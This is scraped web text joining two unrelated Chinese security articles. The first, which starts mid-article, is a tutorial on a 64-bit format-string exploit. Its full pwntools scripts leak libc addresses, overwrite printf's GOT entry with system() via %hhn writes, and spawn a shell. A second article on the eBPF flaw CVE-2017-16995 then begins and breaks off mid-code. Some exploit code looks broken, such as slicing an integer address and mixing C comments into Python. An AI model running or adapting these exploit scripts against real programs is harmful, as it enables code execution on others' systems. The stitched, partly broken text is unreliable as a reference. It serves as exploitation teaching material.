libc = ELF("./libc6_2.27-3ubuntu1_amd64.so") //加载我们泄露出的服务器端的libc
printf_got = file.got['printf']
libc_base = puts_addr - libc.symbols['puts']
sys_addr = libc_base + libc.symbols['system']
#*****************获取printf_got地址，并打印其真实地址*************
r.interactive()
效果：
接下来的目标就是将
printfgot中的内容给替换成sys_addr的值，就是将got表中printf的函数地址给修改成system的函数地址，这样再次传入参数
‘/bin/sh’ 在执行printf时，由于将got表给修改了，就相当于执行了system 函数 即：执行system(‘/bin/sh’)
——————————-格式化字符串漏洞_64位相对于32位的区别及利用重点来啦—————————————
在格式化字符串漏洞中是可以任意写的相信个位师傅也都多少利用过，在这里就是要利用任意写，将printf的got表中的值改写为system的地址，而地址我们上面已经泄露出来了。那么直接构建payload。有的师傅会直接构建为
：payload = ‘a’ * sys_addr + %7$n + p64(printf_got)
但是sys_addr作用后的填充字符，a那是多少个数量级啊，怎么可能一次性读入那么多啊，就算能，谁的程序中会读取那么多字符？仅以本程序为例，还是用的
read(0,s,0x60); 仅读入0x60个字符，所以要换为另一个格式字符，%c ，%numc
，读入的字符屈指可数，但经过格式化漏洞转换后，那就是num个字符的输出同样可以达到相同的修改数据的效果
exp：
#-*-coding:utf-8 -*- from pwn import *
context.log_level = 'debug'
pwn_name = "./pwn33"
r = process(pwn_name)
file = ELF(pwn_name)
#*****************泄露got表*************************
r.recvuntil("plese input:")
puts_got = file.got['puts']
payload = 'a'*4 + '%7$s' + p64(puts_got)
r.sendline(payload)
r.recvuntil('aaaa')
puts_addr = u64(r.recv(6) + '00')
#*****************泄露got表*************************
#*****************获取printf_got地址，并打印其真实地址*************************
libc = ELF("./libc6_2.27-3ubuntu1_amd64.so")
printf_got = file.got['printf']
libc_base = puts_addr - libc.symbols['puts']
sys_addr = libc_base + libc.symbols['system']
#*****************获取printf_got地址，并打印其真实地址*************************
#*****************修改printf_got地址，为sys地址*************************
r.recvuntil("plese input:")
payload1 = '%' + str(sys_addr) + 'c' + '%7$n' + p64(printf_got)
r.sendline(payload1)
#*****************修改printf_got地址，为sys地址*************************
r.interactive()
到这里或许有的师傅会觉得，也没见和32位的比有什么难度啊，不就是将地址给放到后面吗？这有什么难的，我们也会，哎又一个水货，哈哈，请师傅耐心观赏：
执行上述exp后的效果如上，发现并没有recv到任何数据，哈哈，这就又是一个坑了，当然
这不是我们构造payload时的思路有问题，而是64位程序，printf在输出大量字符时所照成的影响，就像前面一次性读入大量字符会异常一样，printf在一次性输出这么大量的字符时也会出现异常。而且就算不出现异常，那么你在链接服务器时，进行网络传输，它一次性传输大量字符，先不说网络会不会崩溃，就算他不崩溃，没有其他异常，能够正常传输，光说这带宽，一次性传输大量字符，网络卡也要卡死了。
所以，只能换个方法，由于我们这个是一次性修改地址，即sys_addr有着六个字节，所以解决办法便是一个一个字节来做出修改，再加上你仔细观察会发现其实前两个字节，乃至前三个字节都是一样的，所以采用一个字节一个字节的修改，还可以少修改几位
至于怎么修改？请往下看：
我们原先是想要将整个地址都给直接修改了，所以直接输入目标地址即可，但现在想要一个字节一个字节的修改，那么我们自然是要精确到每个字节所在的地址，至于怎么精确？
我们在用%x时是用来查看偏移，看我们的偏移是否于我们填入的地址相照应，用%s来查看我们填入地址中的内容，前提都是同一个地址，而现在我们要精确每一个地址中保存的值，那么我们为什么不试着将地址更改一下试试呢？？？
我们再次回到泄露got表的步骤来做测试（会的师傅可以跳过这一步了）：
#-*-coding:utf-8 -*- from pwn import *
context.log_level = 'debug'
pwn_name = "./pwn1"
r = process(pwn_name)
file = ELF(pwn_name)
#*****************泄露got表*************************
r.recvuntil("plese input:")
puts_got = file.got['puts']
payload = 'a'*4 + '%7$s' + p64(puts_got + 1)
//不改变地址时，泄露的是完整的六位（减去最高位的两个零，为六位），现在尝试加一
r.sendline(payload)
r.recvuntil('aaaa')
puts_addr = u64(r.recv(6) + '00')
#*****************泄露got表*************************
r.interactive()
在不改动地址，直接泄露时可以发现，泄露出的是完整的六位
当对地址加一时，可以发现，泄露出的地址少了一位（同样的对地址进行加一减一自己尝试，就可以发现泄露出的真实地址位数也在改变）：
综上所述，当对目标地址加一（进行偏移）时，读取到的真实地址就也在变化，这样，我们就可以确定真实地址的每一位所在的位置了
接下来就是对每个位置的真实地址的值做修改了
又因一次仅修改一个字节，所以我们这里用%hhn（上面格式化字符处有介绍）
因为通过上面的便宜测试，我们可以知道直接 %x
got中的真实地址的话，其实是重真实地址的最后一位开始泄露的，所以我们第一个修改的字节也就是最后一位的（前面已经通过libc计算了基地址和system的地址，可以自行向上查找）
先放脚本和效果，然后再详解：
#-*-coding:utf-8 -*- from pwn import *
context.log_level = 'debug'
pwn_name = "./pwn1"
r = process(pwn_name)
file = ELF(pwn_name)
#*****************泄露got表*************************
r.recvuntil("plese input:")
puts_got = file.got['puts']
payload = 'a'*4 + '%7$s' + p64(puts_got )
r.sendline(payload)
r.recvuntil('aaaa')
puts_addr = u64(r.recv(6) + '00')
#*****************泄露got表*************************
#*****************获取printf_got地址，并打印其真实地址*************************
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
printf_got = file.got['printf']
libc_base = puts_addr - libc.symbols['puts']
sys_addr = libc_base + libc.symbols['system']
payload = 'a'*4 + '%7$s' + p64(printf_got)
r.sendline(payload)
r.recvuntil('aaaa')
printf_addr = u64(r.recv(6) + '00')
#*****************获取printf_got地址，并打印其真实地址*************************
#*****************修改printf_got地址，为sys地址*************************
r.recvuntil("plese input:")
sys_addr_min = sys_addr[6:]
a = int(sys_addr_min[2:4],16)
b = int(sys_addr_min[4:6],16)
c = int(sys_addr_min[6:8],16)
if a < b or b < c :
execfile("pwn2.py")
quit()
payload1 = '%' + str(c) + 'c' + '%11$hhn'
payload1 += '%' + str(b - c) + 'c' + '%12$hhn'
payload1 += '%' + str(a - b) + 'c' + '%13$hhn'
n4 = len(payload1)
n5 = 0
if n4 < 40 :
n5 = 40 - n4
payload1 += 'a'*n5
n6 = len(payload1)
payload1 += p64(printf_got) + p64(printf_got+1) + p64(printf_got+2)
r.sendline(payload1)
#*****************修改printf_got地址，为sys地址************************
r.interactive()
第一：
由上图可以发现两个真实地址仅有后三个字节是不相同的，所以我们仅需要修改后三位的值就可以了
第二：
你可以发现我上面有一个判断，如果不满足条件就再次调用脚本知道满足我们的要求
这个判断是为了让这个地址的后三位是按从大到小的顺序排列，因为我们的%n是目标地址中的值修改为其前面打印出的字符数量，所以如果地址的后三位不是按我们要求的递增来的，那么我们用%c来修改值的话就不好计算，比如地址为：0x7f5f6fc7a440
其后三个字节为：c7a440，其中c7明显大于a4，这样就会导致我们的payload难以构建，因为我们要一次性修改三次，将地址的后三位全部进行修改，所以如果后三个字节大小顺序不确定的话，就会导致我们的payload的对应的地址的顺寻不确定
过了这个坑，我们也就修改了got表，就可以直接传参 bin/sh 进行利用了
完整exp：
#-*-coding:utf-8 -*- from pwn import *
context.log_level = 'debug'
pwn_name = "./pwn1"
#******************格式化字符串偏移****************
def pianyi(pwn_name,x = 'x'):
print('pwn_name=' + pwn_name + ',x=' + x)
i = 0
while True :
r = process(pwn_name)
i += 1
payload = 'a'*4 + '.' + '%' + str(i) + '$' + '8x'
r.sendline(payload)
r.recvuntil("aaaa.")
r_recv = r.recv(8)
print('*'*10 + r_recv + '*'*10)
if r_recv == '61616161':
print(payload)
if x == 'x':
s = '%' + str(i) + '$8x'
else :
s = '%' + str(i) + '$8' + str(x)
return s
break
#******************格式化字符串偏移****************
r = process(pwn_name)
file = ELF(pwn_name)
#pianyi(pwn_name)# %6$8x
#*****************泄露got表*************************
r.recvuntil("plese input:")
puts_got = file.got['puts']
payload = 'a'*4 + '%7$s' + p64(puts_got)
r.sendline(payload)
r.recvuntil('aaaa')
puts_addr = u64(r.recv(6) + '00')
#*****************泄露got表*************************
#*****************获取printf_got地址，并打印其真实地址*************************
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
printf_got = file.got['printf']
libc_base = puts_addr - libc.symbols['puts']
sys_addr = libc_base + libc.symbols['system']
payload = 'a'*4 + '%7$s' + p64(printf_got)
r.sendline(payload)
r.recvuntil('aaaa')
printf_addr = u64(r.recv(6) + '00')
#*****************获取printf_got地址，并打印其真实地址*************************
#*****************修改printf_got地址，为sys地址*************************
r.recvuntil("plese input:")
sys_addr_min = sys_addr[6:]
print('*'*10 + 'sys_addr:' + str(sys_addr_min) + '*'*10)
a = int(sys_addr_min[2:4],16)
b = int(sys_addr_min[4:6],16)
c = int(sys_addr_min[6:8],16)
if a < b or b < c :
execfile("pwn2.py")
quit()
payload1 = '%' + str(c) + 'c' + '%11$hhn'
payload1 += '%' + str(b - c) + 'c' + '%12$hhn'
payload1 += '%' + str(a - b) + 'c' + '%13$hhn'
n4 = len(payload1)
n5 = 0
if n4 < 40 :
n5 = 40 - n4
payload1 += 'a'*n5
n6 = len(payload1)
payload1 += p64(printf_got) + p64(printf_got+1) + p64(printf_got+2)
r.sendline(payload1)
#*****************修改printf_got地址，为sys地址*************************
r.recvuntil("plese input:")
r.sendline("/bin/sh")
r.interactive() | 社区文章 |
# BPF漏洞初识——cve-2017-16995详细分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
>
> Linux内核为了执行效率，损失了很多安全性。但是在用户空间很难触发内核代码，所以给内核漏洞利用造成了很大的困难。但是BPF使得用户空间拥有了与内核通信和数据共享的能力，所以成为了内核漏洞的高发区。本文以CVE-2017-16995漏洞初步学习了BPF漏洞的利用技巧。若有错误，敬请各位师傅斧正。
## 基础知识
### eBPF简介
`linux`的用户层和内核层是隔离的，如果想让内核空间执行用户的代码，正常流程是编写内核模块。但是内核模块的编写执行需要有`root`权限，这对于攻击者是不理想的。而
`BPF(Berkeley Packet
Filter)`则使普通用户拥有了让内核执行用户代码并共享数据的能力。用户可以将`eBPF`指令字节码传输给内核，然后通过`socket`写事件来触发内核执行代码。并且用户空间和内核空间会共享同一个`map`内存，且用户空间和内核空间都对其拥有读写能力。这就为攻击者提供了极大的便利。`BPF`发展经历了
2 个阶段，`cBPF(classic BPF)`和 `eBPF(extend
BPF)`，`cBPF`已退出历史舞台，所以后文的`BPF`都指`eBPF`。
### eBPF虚拟指令系统
`eBPF`虚拟指令系统属于 `RISC`，拥有 10 个 虚拟寄存器， `r0-r10`在实际运行时，虚拟机会把这 10 个寄存器——对应于硬件
`CPU`的 10 个物理寄存器，以 `x64`为例，对应关系如下：
R0 – rax
R1 - rdi
R2 - rsi
R3 - rdx
R4 - rcx
R5 - r8
R6 - rbx
R7 - r13
R8 - r14
R9 - r15
R10 – rbp（帧指针，frame pointer）
`eBPF`的指令格式如下：
struct bpf_insn {
__u8 code; /* opcode */
__u8 dst_reg:4; /* dest register */
__u8 src_reg:4; /* source register */
__s16 off; /* signed offset */
__s32 imm; /* signed immediate constant */
};
例如一条简单的`x86`指令`mov edi 0xffffffff`，其`eBPF`的指令结构如下：
#define BPF_MOV32_IMM(DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU | BPF_MOV | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
所以，最后编写的格式如下`BPF_MOV32_IMM(BPF_REG_1,
0xFFFFFFFF)`，其字节码为：`\xb4\x09\x00\x00\xff\xff\xff\xff`。
### BPF加载过程
一个 `BPF`的正常程序流程为：
1. 用户程序调用 `syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr))`申请创建一个 `map`，在 `attr`结构体中指定 `map`的类型、大小、最大容量等属性。之后调用 `sys_bpf`进而使用系统调用 `syscall(__NR_bpf, BPF_MAP_CREATE, attr, size);`创建一个 `map`数据结构，最终返回 `map`的文件描述符。这个文件是用户态和内核态共享的，因此后续内核态和用户态可以对这块共享内存进行读写：
//lib/bpf.c
int bpf_create_map(enum bpf_map_type map_type,
int key_size,int value_size, int max_entries)
{
union bpf_attr attr;
memset(&attr, '\0', sizeof(attr));
attr.map_type = map_type;
attr.key_size = key_size;
attr.value_size = value_size;
attr.max_entries = max_entries;
return sys_bpf(BPF_MAP_CREATE, &attr, sizeof(attr));
}
//lib/bpf.c
static int sys_bpf(enum bpf_cmd cmd, union bpf_attr *attr,
unsigned int size)
{
return syscall(__NR_bpf, cmd, attr, size);
}
//bpf.h
union bpf_attr {
struct { /* anonymous struct used by BPF_MAP_CREATE command */
__u32 map_type; /* one of enum bpf_map_type */
__u32 key_size; /* size of key in bytes */
__u32 value_size; /* size of value in bytes */
__u32 max_entries; /* max number of entries in a map */
};
struct { /* anonymous struct used by BPF_MAP_*_ELEM commands */
__u32 map_fd;
__aligned_u64 key;
union {
__aligned_u64 value;
__aligned_u64 next_key;
};
__u64 flags;
};
struct { /* anonymous struct used by BPF_PROG_LOAD command */
__u32 prog_type; /* one of enum bpf_prog_type */
__u32 insn_cnt;
__aligned_u64 insns;
__aligned_u64 license;
__u32 log_level; /* verbosity level of verifier */
__u32 log_size; /* size of user buffer */
__aligned_u64 log_buf; /* user supplied buffer */
__u32 kern_version; /* checked when prog_type=kprobe */
};
struct { /* anonymous struct used by BPF_OBJ_* commands */
__aligned_u64 pathname;
__u32 bpf_fd;
};
} __attribute__((aligned(8)));
//bpf.h
/* BPF syscall commands, see bpf(2) man-page for details. */
enum bpf_cmd {
BPF_MAP_CREATE,
BPF_MAP_LOOKUP_ELEM,
BPF_MAP_UPDATE_ELEM,
BPF_MAP_DELETE_ELEM,
BPF_MAP_GET_NEXT_KEY,
BPF_PROG_LOAD,
BPF_OBJ_PIN,
BPF_OBJ_GET,
};
2. 用户程序调用 `syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr))`来将我们写的 `BPF`代码加载进内核，`attr`结构体中包含了指令数量、指令首地址、日志级别等属性。在加载之前会利用虚拟执行的方式来做安全行校验，这个校验包括对指定语法的检查、指令数量的检查、指令中的指针和立即数的范围及读写权限检查，禁止将内核中的地址暴露给用户空间，禁止对 `BPF`程序 `stack`之外的内核地址读写。安全校验通过后，程序被成功加载至内核，后续真正执行时，不再重复做检查；
3. 用户程序通过调用 `setsocopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd))`将我们写的 `BPF`程序绑定到指定的 `socket`上，`Progfd`为上一步骤的返回值；
4. 用户程序通过操作上一步骤中的 `socket`来触发 `BPF`真正执行。
### eBPF代码执行过程
对 `eBPF`指令的解释执行，最后会进入 `__bpf_prog_run`函数。可以看到这里是根据指令，对寄存器进行了相应的操作。如果后续要分析
`eBPF`指令的执行过程，就需要对这个函数进行深入分析。(此处代码经过省略)，可以看到 `__bpf_prog_run`函数自己使用栈模拟了一个
`ebpf`程序的栈和寄存器。所以，`ebpf`程序的指令是能够直接控制内核栈数据，为后续漏洞利用提供了方便。
/**
* __bpf_prog_run - run eBPF program on a given context
* @ctx: is the data we are operating on
* @insn: is the array of eBPF instructions
*
* Decode and execute eBPF instructions.
*/
static unsigned int __bpf_prog_run(void *ctx, const struct bpf_insn *insn)
{
u64 stack[MAX_BPF_STACK / sizeof(u64)];
u64 regs[MAX_BPF_REG], tmp;
static const void *jumptable[256] = {
[0 ... 255] = &&default_label,
/* Now overwrite non-defaults ... */
/* 32 bit ALU operations */
[BPF_ALU | BPF_ADD | BPF_X] = &&ALU_ADD_X,
[BPF_ALU | BPF_ADD | BPF_K] = &&ALU_ADD_K,
[BPF_ALU | BPF_SUB | BPF_X] = &&ALU_SUB_X,
[BPF_ALU | BPF_SUB | BPF_K] = &&ALU_SUB_K,
... //有省略
[BPF_LD | BPF_ABS | BPF_B] = &&LD_ABS_B,
[BPF_LD | BPF_IND | BPF_W] = &&LD_IND_W,
[BPF_LD | BPF_IND | BPF_H] = &&LD_IND_H,
[BPF_LD | BPF_IND | BPF_B] = &&LD_IND_B,
[BPF_LD | BPF_IMM | BPF_DW] = &&LD_IMM_DW,
};
u32 tail_call_cnt = 0;
void *ptr;
int off;
#define CONT ({ insn++; goto select_insn; })
#define CONT_JMP ({ insn++; goto select_insn; })
FP = (u64) (unsigned long) &stack[ARRAY_SIZE(stack)];
ARG1 = (u64) (unsigned long) ctx;
/* Registers used in classic BPF programs need to be reset first. */
regs[BPF_REG_A] = 0;
regs[BPF_REG_X] = 0;
select_insn:
goto *jumptable[insn->code];
/* ALU */
#define ALU(OPCODE, OP) \
ALU64_##OPCODE##_X: \
DST = DST OP SRC; \
CONT; \
ALU_##OPCODE##_X: \
DST = (u32) DST OP (u32) SRC; \
CONT; \
ALU64_##OPCODE##_K: \
DST = DST OP IMM; \
CONT; \
ALU_##OPCODE##_K: \
DST = (u32) DST OP (u32) IMM; \
CONT;
ALU(ADD, +)
ALU(SUB, -)
ALU(AND, &)
ALU(OR, |)
ALU(LSH, <<)
ALU(RSH, >>)
ALU(XOR, ^)
ALU(MUL, *)
#undef ALU
ALU_NEG:
DST = (u32) -DST;
CONT;
ALU64_NEG:
DST = -DST;
CONT;
ALU_MOV_X:
DST = (u32) SRC;
CONT;
ALU_MOV_K:
DST = (u32) IMM;
CONT;
ALU64_MOV_X:
DST = SRC;
CONT;
ALU64_MOV_K:
DST = IMM;
CONT;
LD_IMM_DW:
DST = (u64) (u32) insn[0].imm | ((u64) (u32) insn[1].imm) << 32;
insn++;
CONT;
...
ALU_END_TO_BE:
switch (IMM) {
case 16:
DST = (__force u16) cpu_to_be16(DST);
break;
case 32:
DST = (__force u32) cpu_to_be32(DST);
break;
case 64:
DST = (__force u64) cpu_to_be64(DST);
break;
}
CONT;
ALU_END_TO_LE:
switch (IMM) {
case 16:
DST = (__force u16) cpu_to_le16(DST);
break;
case 32:
DST = (__force u32) cpu_to_le32(DST);
break;
case 64:
DST = (__force u64) cpu_to_le64(DST);
break;
}
CONT;
/* CALL */
JMP_CALL:
/* Function call scratches BPF_R1-BPF_R5 registers,
* preserves BPF_R6-BPF_R9, and stores return value
* into BPF_R0.
*/
BPF_R0 = (__bpf_call_base + insn->imm)(BPF_R1, BPF_R2, BPF_R3,
BPF_R4, BPF_R5);
CONT;
JMP_TAIL_CALL: {
struct bpf_map *map = (struct bpf_map *) (unsigned long) BPF_R2;
struct bpf_array *array = container_of(map, struct bpf_array, map);
struct bpf_prog *prog;
u64 index = BPF_R3;
if (unlikely(index >= array->map.max_entries))
goto out;
if (unlikely(tail_call_cnt > MAX_TAIL_CALL_CNT))
goto out;
tail_call_cnt++;
prog = READ_ONCE(array->ptrs[index]);
if (unlikely(!prog))
goto out;
/* ARG1 at this point is guaranteed to point to CTX from
* the verifier side due to the fact that the tail call is
* handeled like a helper, that is, bpf_tail_call_proto,
* where arg1_type is ARG_PTR_TO_CTX.
*/
insn = prog->insnsi;
goto select_insn;
out:
CONT;
}
/* JMP */
JMP_JA:
insn += insn->off;
CONT;
JMP_JEQ_X:
if (DST == SRC) {
insn += insn->off;
CONT_JMP;
}
CONT;
JMP_JEQ_K:
if (DST == IMM) {
insn += insn->off;
CONT_JMP;
}
CONT;
JMP_JNE_X:
if (DST != SRC) {
insn += insn->off;
CONT_JMP;
}
CONT;
JMP_JNE_K:
if (DST != IMM) {
insn += insn->off;
CONT_JMP;
}
CONT;
...
/* STX and ST and LDX*/
#define LDST(SIZEOP, SIZE) \
STX_MEM_##SIZEOP: \
*(SIZE *)(unsigned long) (DST + insn->off) = SRC; \
CONT; \
ST_MEM_##SIZEOP: \
*(SIZE *)(unsigned long) (DST + insn->off) = IMM; \
CONT; \
LDX_MEM_##SIZEOP: \
DST = *(SIZE *)(unsigned long) (SRC + insn->off); \
CONT;
LDST(B, u8)
LDST(H, u16)
LDST(W, u32)
LDST(DW, u64)
#undef LDST
STX_XADD_W: /* lock xadd *(u32 *)(dst_reg + off16) += src_reg */
atomic_add((u32) SRC, (atomic_t *)(unsigned long)
(DST + insn->off));
CONT;
STX_XADD_DW: /* lock xadd *(u64 *)(dst_reg + off16) += src_reg */
atomic64_add((u64) SRC, (atomic64_t *)(unsigned long)
(DST + insn->off));
CONT;
LD_ABS_W: /* BPF_R0 = ntohl(*(u32 *) (skb->data + imm32)) */
off = IMM;
load_word:
...
default_label:
/* If we ever reach this, we have a bug somewhere. */
WARN_RATELIMIT(1, "unknown opcode %02x\n", insn->code);
return 0;
}
### eBPF函数介绍
`eBPF`是通过 执行不同的函数，来实现各种功能，[参考手册在这](https://man7.org/linux/man-pages/man2/bpf.2.html)。可以使用的函数如下：
//创建一个map内存，返回一个执行map的文件指针
BPF_MAP_CREATE
Create a map and return a file descriptor that refers to
the map. The close-on-exec file descriptor flag (see
fcntl(2)) is automatically enabled for the new file
descriptor.
//从map内存中根据传入的key值寻找到对应的value
BPF_MAP_LOOKUP_ELEM
Look up an element by key in a specified map and return
its value.
//创建或更新map内存中一个key值或value值
BPF_MAP_UPDATE_ELEM
Create or update an element (key/value pair) in a
specified map.
//删除map中的key值
BPF_MAP_DELETE_ELEM
Look up and delete an element by key in a specified map.
//在map中根据key值查找，并返回下一个元素
BPF_MAP_GET_NEXT_KEY
Look up an element by key in a specified map and return
the key of the next element.
//验证和加载eBPF程序，然后一个新的文件描述符
BPF_PROG_LOAD
Verify and load an eBPF program, returning a new file
descriptor associated with the program. The close-on-exec
file descriptor flag (see fcntl(2)) is automatically
enabled for the new file descriptor.
接下来，我们依次介绍各个函数的用法。
#### BPF_MAP_CREATE
该函数用于创建一个新的 `map`内存，返回一个新的文件描述符，并指向该内存。
int
bpf_create_map(enum bpf_map_type map_type,
unsigned int key_size,
unsigned int value_size,
unsigned int max_entries)
{
union bpf_attr attr = {
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries
};
return bpf(BPF_MAP_CREATE, &attr, sizeof(attr));c
}
首先将传入的四个参数，分别赋值给 `bpf_attr`数据结构，其原型如下，包含了使用 `BPF`函数时所需要的各个参数。
union bpf_attr {
struct { /* Used by BPF_MAP_CREATE */
__u32 map_type;
__u32 key_size; /* size of key in bytes */
__u32 value_size; /* size of value in bytes */
__u32 max_entries; /* maximum number of entries
in a map */
};
struct { /* Used by BPF_MAP_*_ELEM and BPF_MAP_GET_NEXT_KEY
commands */
__u32 map_fd;
__aligned_u64 key;
union {
__aligned_u64 value;
__aligned_u64 next_key;
};
__u64 flags;
};
struct { /* Used by BPF_PROG_LOAD */
__u32 prog_type;
__u32 insn_cnt;
__aligned_u64 insns; /* 'const struct bpf_insn *' */
__aligned_u64 license; /* 'const char *' */
__u32 log_level; /* verbosity level of verifier */
__u32 log_size; /* size of user buffer */
__aligned_u64 log_buf; /* user supplied 'char *'
buffer */
__u32 kern_version;
/* checked when prog_type=kprobe
(since Linux 4.1) */
};
} __attribute__((aligned(8)));
需要传入的4个参数，含义分别为：
* `bpf_map_type`，指定 创建的 `map`的类型，所有类型如下，用于指定建立映射的方式
enum bpf_map_type {
BPF_MAP_TYPE_UNSPEC,
BPF_MAP_TYPE_HASH, //HASH表
BPF_MAP_TYPE_ARRAY, //数组
BPF_MAP_TYPE_PROG_ARRAY,
BPF_MAP_TYPE_PERF_EVENT_ARRAY,
BPF_MAP_TYPE_PERCPU_HASH,
BPF_MAP_TYPE_PERCPU_ARRAY,
BPF_MAP_TYPE_STACK_TRACE,
BPF_MAP_TYPE_CGROUP_ARRAY,
BPF_MAP_TYPE_LRU_HASH,
BPF_MAP_TYPE_LRU_PERCPU_HASH,
};
* `key_size`指定了 `key`的数据大小，用于在后续验证 `bpf`程序时使用，防止越界访问。例如当 一个 `map`创建的 `key_size`为8，那么此时如下函数将会被阻止。因为对于内核，其希望从源地址读取 8字节的数据，但是此时源地址为 `fp-4`，如果读取8字节，就会超出当前栈的边界，所以会被阻止
bpf_map_lookup_elem(map_fd, fp - 4)
* 同理，`value_size`指定了 `value`的数据大小。例如，当使用 `value_size=1`创建了 `map`之后，使用 如下代码则会被阻止。因为，这里的 `value`大小为 1 字节，而却想要将其赋值为 4字节，超出了 `value_size`。
value = bpf_map_lookup_elem(...);
*(u32 *) value = 1;
* `max_entries`指定了 `map`的大小
#### BPF_MAP_LOOKUP_ELEM
`BPF_MAP_LOOKUP_ELEM`函数根据传入的 `key`执行寻找其对应的 元素。
int bpf_lookup_elem(int fd, const void *key, void *value)
{
union bpf_attr attr = {
.map_fd = fd,
.key = ptr_to_u64(key),
.value = ptr_to_u64(value),
};
return bpf(BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}
如果一个元素被找到，则返回0，并将该值存入 存入的`value`参数里，其指向了一个 上一步提到的 `value_size`大小的
`buffer`。如果没有被找到，则返回 `-1`，并设置 `errno`。
#### BPF_MAP_UPDATE_ELEM
`BPF_MAP_UPDATE_ELEM`函数使用传入的 `key`或 `value`创建或者更新一个`map`中的元素
int bpf_update_elem(int fd, const void *key, const void *value,
uint64_t flags)
{
union bpf_attr attr = {
.map_fd = fd,
.key = ptr_to_u64(key),
.value = ptr_to_u64(value),
.flags = flags,
};
return bpf(BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}
* `flag`参数必须为如下选项，
BPF_ANY
Create a new element or update an existing element.
BPF_NOEXIST
Create a new element only if it did not exist.
BPF_EXIST
Update an existing element.
如果成功，返回 0。若失败，则返回 -1。
#### BPF_MAP_DELETE_ELEM
`BPF_MAP_DELETE_ELEM`函数用于根据传入的 `key`或 `value`来删除一个元素：
int bpf_delete_elem(int fd, const void *key)
{
union bpf_attr attr = {
.map_fd = fd,
.key = ptr_to_u64(key),
};
return bpf(BPF_MAP_DELETE_ELEM, &attr, sizeof(attr));
}
如果成功，则返回 0。如果元素为被找到找到，则返回 -1。
#### BPF_MAP_GET_NEXT_KEY
该含糊根据传入的 `key`值寻找到对应的元素，然后返回 其下一个元素：
int bpf_get_next_key(int fd, const void *key, void *next_key)
{
union bpf_attr attr = {
.map_fd = fd,
.key = ptr_to_u64(key),
.next_key = ptr_to_u64(next_key),
};
return bpf(BPF_MAP_GET_NEXT_KEY, &attr, sizeof(attr));
}
如果 `key`被找到，则返回0，并将 `next_key`指向 `key`值得下一个元素。如果`key`未找到，则返回 0，并将 `next_key`指向
第一个元素。如果 `key`是最后一个元素，则返回 -1，并将 `next_key`设置为 `ENOENT`。
#### BPF_PROG_LOAD
该函数用于加载一个 `eBPF`程序到内核，返回一个新的指向 `eBPF`程序的文件指针。
char bpf_log_buf[LOG_BUF_SIZE];
int
bpf_prog_load(enum bpf_prog_type type,
const struct bpf_insn *insns, int insn_cnt,
const char *license)
{
union bpf_attr attr = {
.prog_type = type,
.insns = ptr_to_u64(insns),
.insn_cnt = insn_cnt,
.license = ptr_to_u64(license),
.log_buf = ptr_to_u64(bpf_log_buf),
.log_size = LOG_BUF_SIZE,
.log_level = 1,
};
return bpf(BPF_PROG_LOAD, &attr, sizeof(attr));
}
`map`内存可以被 `eBPF`程序访问，并且实现从 `eBPF`程序和用户空间程序
交互数据。例如，`eBPF`程序可以获取进程数据（例如`kprobe`、`packets`）并将数据存储到`map`，然后用户空间程序就可以通过访问
`map`来获取数据。反之亦然。
### BPF的安全校验
这里我们分析一下 `Verifier`机制，主要检测函数为 `bpf_check`：
int bpf_check(struct bpf_prog **prog, union bpf_attr *attr)
{
char __user *log_ubuf = NULL;
struct verifier_env *env;
int ret = -EINVAL;
//指令条数判断
if ((*prog)->len <= 0 || (*prog)->len > BPF_MAXINSNS)
return -E2BIG;
/* 'struct verifier_env' can be global, but since it's not small,
* allocate/free it every time bpf_check() is called
*/
//分配 verifier_env空间
env = kzalloc(sizeof(struct verifier_env), GFP_KERNEL);
if (!env)
return -ENOMEM;
env->prog = *prog;
/* grab the mutex to protect few globals used by verifier */
mutex_lock(&bpf_verifier_lock);
if (attr->log_level || attr->log_buf || attr->log_size) {
/* user requested verbose verifier output
* and supplied buffer to store the verification trace
*/
log_level = attr->log_level;
log_ubuf = (char __user *) (unsigned long) attr->log_buf;
log_size = attr->log_size;
log_len = 0;
ret = -EINVAL;
/* log_* values have to be sane */
if (log_size < 128 || log_size > UINT_MAX >> 8 ||
log_level == 0 || log_ubuf == NULL)
goto free_env;
ret = -ENOMEM;
log_buf = vmalloc(log_size);
if (!log_buf)
goto free_env;
} else {
log_level = 0;
}
/* look for pseudo eBPF instructions that access map FDs and
* replace them with actual map pointers
*/
//将伪指令中操作map_fd的部分替换成map地址，注意这个地址是8字节的，因此在实现中用本指令的imm和下一条指令的2个4字节中存储了这个地址
/* store map pointer inside BPF_LD_IMM64 instruction
insn[0].imm = (u32) (unsigned long) map;
insn[1].imm = ((u64) (unsigned long) map) >> 32;
*/
//这个函数下面细讲
ret = replace_map_fd_with_map_ptr(env);
if (ret < 0)
goto skip_full_check;
env->explored_states = kcalloc(env->prog->len,
sizeof(struct verifier_state_list *),
GFP_USER);
ret = -ENOMEM;
if (!env->explored_states)
goto skip_full_check;
//控制流图检查死循环和不可能到达的跳转
ret = check_cfg(env);
if (ret < 0)
goto skip_full_check;
env->allow_ptr_leaks = capable(CAP_SYS_ADMIN);
//核心检查函数
ret = do_check(env);
skip_full_check:
while (pop_stack(env, NULL) >= 0);
free_states(env);
if (ret == 0)
/* program is valid, convert *(u32*)(ctx + off) accesses */
ret = convert_ctx_accesses(env);
if (log_level && log_len >= log_size - 1) {
BUG_ON(log_len >= log_size);
/* verifier log exceeded user supplied buffer */
ret = -ENOSPC;
/* fall through to return what was recorded */
}
/* copy verifier log back to user space including trailing zero */
if (log_level && copy_to_user(log_ubuf, log_buf, log_len + 1) != 0) {
ret = -EFAULT;
goto free_log_buf;
}
if (ret == 0 && env->used_map_cnt) {
/* if program passed verifier, update used_maps in bpf_prog_info */
env->prog->aux->used_maps = kmalloc_array(env->used_map_cnt,
sizeof(env->used_maps[0]),
GFP_KERNEL);
if (!env->prog->aux->used_maps) {
ret = -ENOMEM;
goto free_log_buf;
}
memcpy(env->prog->aux->used_maps, env->used_maps,
